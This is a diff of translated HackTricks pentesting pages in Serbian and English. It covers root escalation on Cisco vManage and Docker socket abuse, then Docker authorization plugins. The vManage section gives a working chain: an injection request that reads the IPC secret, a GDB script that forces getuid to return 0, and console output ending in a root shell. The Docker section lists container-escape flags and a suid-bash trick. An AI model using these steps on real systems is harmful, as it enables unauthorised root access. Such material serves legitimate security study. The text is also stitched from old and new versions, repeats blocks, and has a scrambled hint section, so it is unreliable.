Nakon što smo malo istražili neku [dokumentaciju](http://66.218.245.39/doc/html/rn03re18.html) vezanu za `confd` i različite binarne datoteke (pristupačne sa nalogom na Cisco veb sajtu), otkrili smo da za autentifikaciju IPC soketa koristi tajnu smeštenu u `/etc/confd/confd_ipc_secret`:
|
||||
```
|
||||
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
||||
|
||||
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
||||
```
|
||||
Sećate se naše Neo4j instance? Ona se izvršava pod privilegijama korisnika `vmanage`, što nam omogućava da preuzmemo datoteku koristeći prethodnu ranjivost:
|
||||
Zapamtite našu Neo4j instancu? Ona radi pod privilegijama korisnika `vmanage`, što nam omogućava da preuzmemo datoteku koristeći prethodnu ranjivost:
|
||||
```
|
||||
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
||||
|
||||
|
@ -34,7 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
|
|||
|
||||
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
||||
```
|
||||
Program `confd_cli` ne podržava argumente komandne linije, već poziva `/usr/bin/confd_cli_user` sa argumentima. Dakle, možemo direktno pozvati `/usr/bin/confd_cli_user` sa sopstvenim setom argumenata. Međutim, nije čitljiv sa našim trenutnim privilegijama, pa ga moramo preuzeti iz rootfs-a i kopirati koristeći scp, pročitati pomoć i koristiti je da bismo dobili shell:
|
||||
Program `confd_cli` ne podržava argumente komandne linije, već poziva `/usr/bin/confd_cli_user` sa argumentima. Dakle, mogli bismo direktno pozvati `/usr/bin/confd_cli_user` sa našim skupom argumenata. Međutim, nije čitljiv sa našim trenutnim privilegijama, pa moramo da ga preuzmemo iz rootfs i kopiramo ga koristeći scp, pročitamo pomoć i koristimo ga da dobijemo shell:
|
||||
```
|
||||
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
||||
|
||||
|
@ -52,13 +55,13 @@ vManage:~# id
|
|||
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## Putanja 2
|
||||
## Path 2
|
||||
|
||||
(Primer sa [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
|
||||
Blog¹ tima synacktiv opisao je elegantan način za dobijanje root shell-a, ali kvaka je da zahteva kopiranje `/usr/bin/confd_cli_user` koji je samo čitljiv od strane root-a. Pronašao sam drugi način za eskalaciju do root-a bez takvih problema.
|
||||
Blog¹ tima synacktiv opisao je elegantan način da se dobije root shell, ali upozorenje je da je potrebno dobiti kopiju `/usr/bin/confd_cli_user` koja je samo čitljiva od strane root-a. Pronašao sam drugi način da se eskaliram na root bez takvih problema.
|
||||
|
||||
Kada sam rastavio binarnu datoteku `/usr/bin/confd_cli`, primetio sam sledeće:
|
||||
Kada sam dekompajlirao `/usr/bin/confd_cli` binarni fajl, primetio sam sledeće:
|
||||
```
|
||||
vmanage:~$ objdump -d /usr/bin/confd_cli
|
||||
… snipped …
|
||||
|
@ -87,20 +90,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
|
|||
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
||||
… snipped …
|
||||
```
|
||||
Kada pokrenem "ps aux", primetio sam sledeće (_napomena -g 100 -u 107_)
|
||||
Kada pokrenem “ps aux”, primetio sam sledeće (_napomena -g 100 -u 107_)
|
||||
```
|
||||
vmanage:~$ ps aux
|
||||
… snipped …
|
||||
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
||||
… snipped …
|
||||
```
|
||||
Pretpostavio sam da program "confd\_cli" prosleđuje korisnički ID i grupni ID koje je prikupio od prijavljenog korisnika aplikaciji "cmdptywrapper".
|
||||
I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
|
||||
|
||||
Moj prvi pokušaj bio je da direktno pokrenem "cmdptywrapper" i da mu dostavim `-g 0 -u 0`, ali nije uspelo. Izgleda da je negde tokom procesa kreiran file descriptor (-i 1015) i ne mogu ga lažirati.
|
||||
My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
|
||||
|
||||
Kao što je pomenuto u blogu synacktiv (poslednji primer), program "confd_cli" ne podržava argumente komandne linije, ali mogu ga uticati na njega pomoću debagera i srećom GDB je uključen u sistem.
|
||||
As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
|
||||
|
||||
Kreirao sam GDB skriptu u kojoj sam prisilio API "getuid" i "getgid" da vrate 0. Pošto već imam privilegije "vmanage" putem RCE deserijalizacije, imam dozvolu da direktno čitam "/etc/confd/confd_ipc_secret".
|
||||
I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly.
|
||||
|
||||
root.gdb:
|
||||
```
|
||||
|
@ -120,53 +123,7 @@ root
|
|||
end
|
||||
run
|
||||
```
|
||||
```
|
||||
# Cisco vManage Privilege Escalation
|
||||
|
||||
## Description
|
||||
This technique allows an attacker to escalate privileges on a Cisco vManage device.
|
||||
|
||||
## Exploitation
|
||||
1. Identify the version of the Cisco vManage software.
|
||||
2. Search for any known vulnerabilities or exploits for that version.
|
||||
3. Exploit the vulnerability to gain initial access to the device.
|
||||
4. Once inside, escalate privileges to gain administrative access.
|
||||
|
||||
## Mitigation
|
||||
To mitigate this vulnerability, follow these steps:
|
||||
1. Keep the Cisco vManage software up to date with the latest patches and updates.
|
||||
2. Implement strong access controls and authentication mechanisms.
|
||||
3. Regularly monitor and audit the device for any suspicious activity.
|
||||
4. Follow best practices for network security and hardening.
|
||||
|
||||
## References
|
||||
- [Cisco Security Advisories](https://tools.cisco.com/security/center/publicationListing.x)
|
||||
- [Cisco vManage Documentation](https://www.cisco.com/c/en/us/support/cloud-systems-management/vmanage/products-installation-guides-list.html)
|
||||
```
|
||||
|
||||
```
|
||||
# Cisco vManage Eskalacija privilegija
|
||||
|
||||
## Opis
|
||||
Ova tehnika omogućava napadaču da eskalira privilegije na Cisco vManage uređaju.
|
||||
|
||||
## Eksploatacija
|
||||
1. Identifikujte verziju Cisco vManage softvera.
|
||||
2. Pretražite poznate ranjivosti ili eksploate za tu verziju.
|
||||
3. Iskoristite ranjivost kako biste dobili početni pristup uređaju.
|
||||
4. Jednom unutra, eskalirajte privilegije kako biste dobili administratorski pristup.
|
||||
|
||||
## Otklanjanje
|
||||
Da biste otklonili ovu ranjivost, sledite ove korake:
|
||||
1. Držite Cisco vManage softver ažuriranim sa najnovijim zakrpama i ažuriranjima.
|
||||
2. Implementirajte jake kontrole pristupa i mehanizme za autentifikaciju.
|
||||
3. Redovno pratite i audirajte uređaj za bilo kakvu sumnjivu aktivnost.
|
||||
4. Pratite najbolje prakse za mrežnu sigurnost i ojačavanje.
|
||||
|
||||
## Reference
|
||||
- [Cisco Security Advisories](https://tools.cisco.com/security/center/publicationListing.x)
|
||||
- [Cisco vManage Dokumentacija](https://www.cisco.com/c/en/us/support/cloud-systems-management/vmanage/products-installation-guides-list.html)
|
||||
```
|
||||
Izlaz konzole:
|
||||
```
|
||||
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
||||
GNU gdb (GDB) 8.0.1
|
||||
|
@ -200,14 +157,17 @@ root
|
|||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bash-4.4#
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# Zloupotreba Docker Socket-a za eskalaciju privilegija
|
||||
# Abusing Docker Socket for Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Postoje situacije kada imate **pristup Docker Socket-u** i želite ga iskoristiti za **eskalciju privilegija**. Neke radnje mogu biti veoma sumnjive i možda želite da ih izbegnete, pa ovde možete pronaći različite zastavice koje mogu biti korisne za eskalaciju privilegija:
|
||||
Postoje situacije kada imate **pristup docker socket-u** i želite da ga iskoristite za **eskalaciju privilegija**. Neke akcije mogu biti veoma sumnjive i možda ćete želeti da ih izbegnete, pa ovde možete pronaći različite zastavice koje mogu biti korisne za eskalaciju privilegija:
|
||||
|
||||
### Preko montiranja
|
||||
### Via mount
|
||||
|
||||
Možete **montirati** različite delove **fajl sistema** u kontejneru koji se izvršava kao root i **pristupiti** im.
|
||||
Možete **montirati** različite delove **fajl sistema** u kontejneru koji radi kao root i **pristupiti** im.\
|
||||
Takođe možete **zloupotrebiti montiranje za eskalaciju privilegija** unutar kontejnera.
|
||||
|
||||
* **`-v /:/host`** -> Montirajte fajl sistem domaćina u kontejneru kako biste mogli **čitati fajl sistem domaćina**.
|
||||
* Ako želite da se **osećate kao da ste na domaćinu**, ali da budete u kontejneru, možete onemogućiti druge mehanizme odbrane koristeći zastavice kao što su:
|
||||
* **`-v /:/host`** -> Montirajte fajl sistem host-a u kontejneru kako biste mogli da **pročitate fajl sistem host-a.**
|
||||
* Ako želite da **imajte osećaj da ste na host-u** dok ste u kontejneru, možete onemogućiti druge mehanizme zaštite koristeći zastavice kao što su:
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -31,41 +37,46 @@ Možete **montirati** različite delove **fajl sistema** u kontejneru koji se iz
|
|||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Ovo je slično prethodnoj metodi, ali ovde **montiramo disk uređaj**. Zatim, unutar kontejnera pokrenite `mount /dev/sda1 /mnt` i možete **pristupiti** fajl sistemu domaćina u `/mnt`
|
||||
* Pokrenite `fdisk -l` na domaćinu da biste pronašli uređaj `</dev/sda1>` koji treba montirati
|
||||
* **`-v /tmp:/host`** -> Ako iz nekog razloga možete **samo montirati neki direktorijum** sa domaćina i imate pristup unutar domaćina. Montirajte ga i kreirajte **`/bin/bash`** sa **suid** u montiranom direktorijumu kako biste ga mogli **izvršiti sa domaćina i eskalirati privilegije do root-a**.
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Ovo je slično prethodnoj metodi, ali ovde montiramo **disk uređaj**. Zatim, unutar kontejnera pokrenite `mount /dev/sda1 /mnt` i možete **pristupiti** **fajl sistemu host-a** u `/mnt`
|
||||
* Pokrenite `fdisk -l` na host-u da pronađete `</dev/sda1>` uređaj za montiranje
|
||||
* **`-v /tmp:/host`** -> Ako iz nekog razloga možete **samo montirati neki direktorijum** sa host-a i imate pristup unutar host-a. Montirajte ga i kreirajte **`/bin/bash`** sa **suid** u montiranom direktorijumu kako biste mogli da **izvršite iz host-a i eskalirate na root**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da možda ne možete montirati direktorijum `/tmp`, ali možete montirati **drugi direktorijum za pisanje**. Možete pronaći direktorijume za pisanje koristeći: `find / -writable -type d 2>/dev/null`
|
||||
Imajte na umu da možda ne možete montirati folder `/tmp`, ali možete montirati **drugi zapisiv folder**. Možete pronaći zapisive direktorijume koristeći: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Imajte na umu da ne svi direktorijumi na Linux mašini podržavaju suid bit!** Da biste proverili koji direktorijumi podržavaju suid bit, pokrenite `mount | grep -v "nosuid"`. Na primer, obično `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` ne podržavaju suid bit.
|
||||
**Imajte na umu da ne podržavaju svi direktorijumi na linux mašini suid bit!** Da biste proverili koji direktorijumi podržavaju suid bit, pokrenite `mount | grep -v "nosuid"` Na primer, obično `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` ne podržavaju suid bit.
|
||||
|
||||
Takođe imajte na umu da ako možete **montirati `/etc`** ili bilo koji drugi direktorijum **koji sadrži konfiguracione fajlove**, možete ih promeniti iz Docker kontejnera kao root kako biste ih **zloupotrebili na domaćinu** i eskalirali privilegije (možda izmenom `/etc/shadow`)
|
||||
Takođe imajte na umu da ako možete **montirati `/etc`** ili bilo koji drugi folder **koji sadrži konfiguracione fajlove**, možete ih promeniti iz docker kontejnera kao root kako biste **zloupotrebili na host-u** i eskalirali privilegije (možda menjajući `/etc/shadow`)
|
||||
{% endhint %}
|
||||
|
||||
### Bekstvo iz kontejnera
|
||||
### Escaping from the container
|
||||
|
||||
* **`--privileged`** -> Sa ovom zastavicom [uklanjate izolaciju iz kontejnera](docker-privileged.md#what-affects). Pogledajte tehnike za [bekstvo iz privilegovanih kontejnera kao root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Da biste [eskaliarali privilegije zloupotrebom mogućnosti](../linux-capabilities.md), **dodelite tu mogućnost kontejneru** i onemogućite druge metode zaštite koje mogu sprečiti iskorišćavanje.
|
||||
* **`--privileged`** -> Sa ovom zastavicom [uklanjate svu izolaciju iz kontejnera](docker-privileged.md#what-affects). Proverite tehnike za [izlazak iz privilegovanih kontejnera kao root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Da biste [eskalirali zloupotrebom sposobnosti](../linux-capabilities.md), **dodelite tu sposobnost kontejneru** i onemogućite druge metode zaštite koje mogu sprečiti da eksploatacija funkcioniše.
|
||||
|
||||
Curl
|
||||
### Curl
|
||||
|
||||
Na ovoj stranici smo razgovarali o načinima eskalacije privilegija koristeći Docker zastavice, možete pronaći **načine za zloupotrebu ovih metoda koristeći curl** komandu na stranici:
|
||||
Na ovoj stranici smo razgovarali o načinima za eskalaciju privilegija koristeći docker zastavice, možete pronaći **načine da zloupotrebite ove metode koristeći curl** komandu na stranici:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,88 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Docker-ov podrazumevani model **autorizacije** je **sve ili ništa**. Svaki korisnik sa dozvolom za pristup Docker demonu može **izvršiti bilo koju** Docker klijent **komandu**. Isto važi i za pozivatelje koji koriste Docker-ov Engine API da bi kontaktirali demon. Ako zahtevate **veću kontrolu pristupa**, možete kreirati **pluginske za autorizaciju** i dodati ih u konfiguraciju vašeg Docker demona. Korišćenjem pluginske za autorizaciju, Docker administrator može **konfigurisati granularne pristupne politike** za upravljanje pristupom Docker demonu.
|
||||
**Dockerov** model **autorizacije** je **sve ili ništa**. Svaki korisnik sa dozvolom za pristup Docker demon može **izvršiti bilo koju** Docker klijentsku **komandu**. Isto važi i za pozivaoce koji koriste Dockerov Engine API za kontaktiranje demona. Ako vam je potrebna **veća kontrola pristupa**, možete kreirati **autorizacione dodatke** i dodati ih u konfiguraciju vašeg Docker demona. Korišćenjem autorizacionog dodatka, Docker administrator može **konfigurisati granularne politike pristupa** za upravljanje pristupom Docker demonu.
|
||||
|
||||
# Osnovna arhitektura
|
||||
|
||||
Docker Auth plugini su **eksterni plugini** koje možete koristiti da **dozvolite/odbijete** **akcije** koje su zatražene od Docker Demona **u zavisnosti** od **korisnika** koji je to zatražio i **akcije** koja je **zatražena**.
|
||||
Docker Auth dodaci su **spoljni** **dodaci** koje možete koristiti da **dozvolite/odbacite** **akcije** koje se traže od Docker demona **u zavisnosti** od **korisnika** koji je to zatražio i **akcije** **koja se traži**.
|
||||
|
||||
**[Sledeće informacije su iz dokumentacije](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
Kada se **HTTP zahtev** napravi Docker **demonu** putem CLI-ja ili putem Engine API-ja, podsistem za **autentifikaciju** prosleđuje zahtev instaliranim **pluginskim za autentifikaciju**. Zahtev sadrži korisnika (pozivaoca) i kontekst komande. Plugin je odgovoran za odlučivanje da li **dozvoliti** ili **odbijati** zahtev.
|
||||
Kada se **HTTP** **zahtev** šalje Docker **demonu** putem CLI ili putem Engine API, **sistem autentifikacije** **prosledi** zahtev instaliranom **autentifikacionom** **dodatku**(cima). Zahtev sadrži korisnika (pozivaoca) i kontekst komande. **Dodatak** je odgovoran za odlučivanje da li da **dozvoli** ili **odbaci** zahtev.
|
||||
|
||||
Dole prikazani dijagrami sekvence prikazuju tok dozvole i odbijanja autorizacije:
|
||||
Dijagrami sekvenci ispod prikazuju tok autorizacije dozvola i odbijanja:
|
||||
|
||||
![Tok dozvole autorizacije](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
![Tok autorizacije dozvola](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
|
||||
![Tok odbijanja autorizacije](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
![Tok autorizacije odbijanja](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
|
||||
Svaki zahtev poslat pluginu **uključuje autentifikovanog korisnika, HTTP zaglavlja i telo zahteva/odgovora**. Pluginu se prosleđuju samo **korisničko ime** i **metoda autentifikacije** koja je korišćena. Najvažnije, **ne prosleđuju se korisnički podaci** ili tokeni. Na kraju, **ne sva zahteva/odgovora se šalju** pluginskoj za autorizaciju. Samo ona zahteva/odgovora gde je `Content-Type` ili `text/*` ili `application/json` se šalju.
|
||||
Svaki zahtev poslat dodatku **uključuje autentifikovanog korisnika, HTTP zaglavlja i telo zahteva/odgovora**. Samo su **ime korisnika** i **metoda autentifikacije** korišćena prosleđena dodatku. Najvažnije, **nema** korisničkih **akreditiva** ili tokena koji se prosleđuju. Na kraju, **ne šalju se svi zahtevi/tela odgovora** autorizacionom dodatku. Samo ona tela zahteva/odgovora gde je `Content-Type` ili `text/*` ili `application/json` se šalju.
|
||||
|
||||
Za komande koje potencijalno mogu preuzeti HTTP konekciju (`HTTP Upgrade`), kao što je `exec`, pluginska za autorizaciju se poziva samo za početne HTTP zahteve. Kada plugin odobri komandu, autorizacija se ne primenjuje na ostatak toka. Konkretno, podaci u toku strimovanja se ne prosleđuju pluginskim za autorizaciju. Za komande koje vraćaju HTTP odgovor u delovima, kao što su `logs` i `events`, samo HTTP zahtev se šalje pluginskim za autorizaciju.
|
||||
Za komande koje potencijalno mogu preuzeti HTTP vezu (`HTTP Upgrade`), kao što je `exec`, autorizacioni dodatak se poziva samo za inicijalne HTTP zahteve. Kada dodatak odobri komandu, autorizacija se ne primenjuje na ostatak toka. Konkretno, streaming podaci se ne prosleđuju autorizacionim dodacima. Za komande koje vraćaju delimične HTTP odgovore, kao što su `logs` i `events`, samo se HTTP zahtev šalje autorizacionim dodacima.
|
||||
|
||||
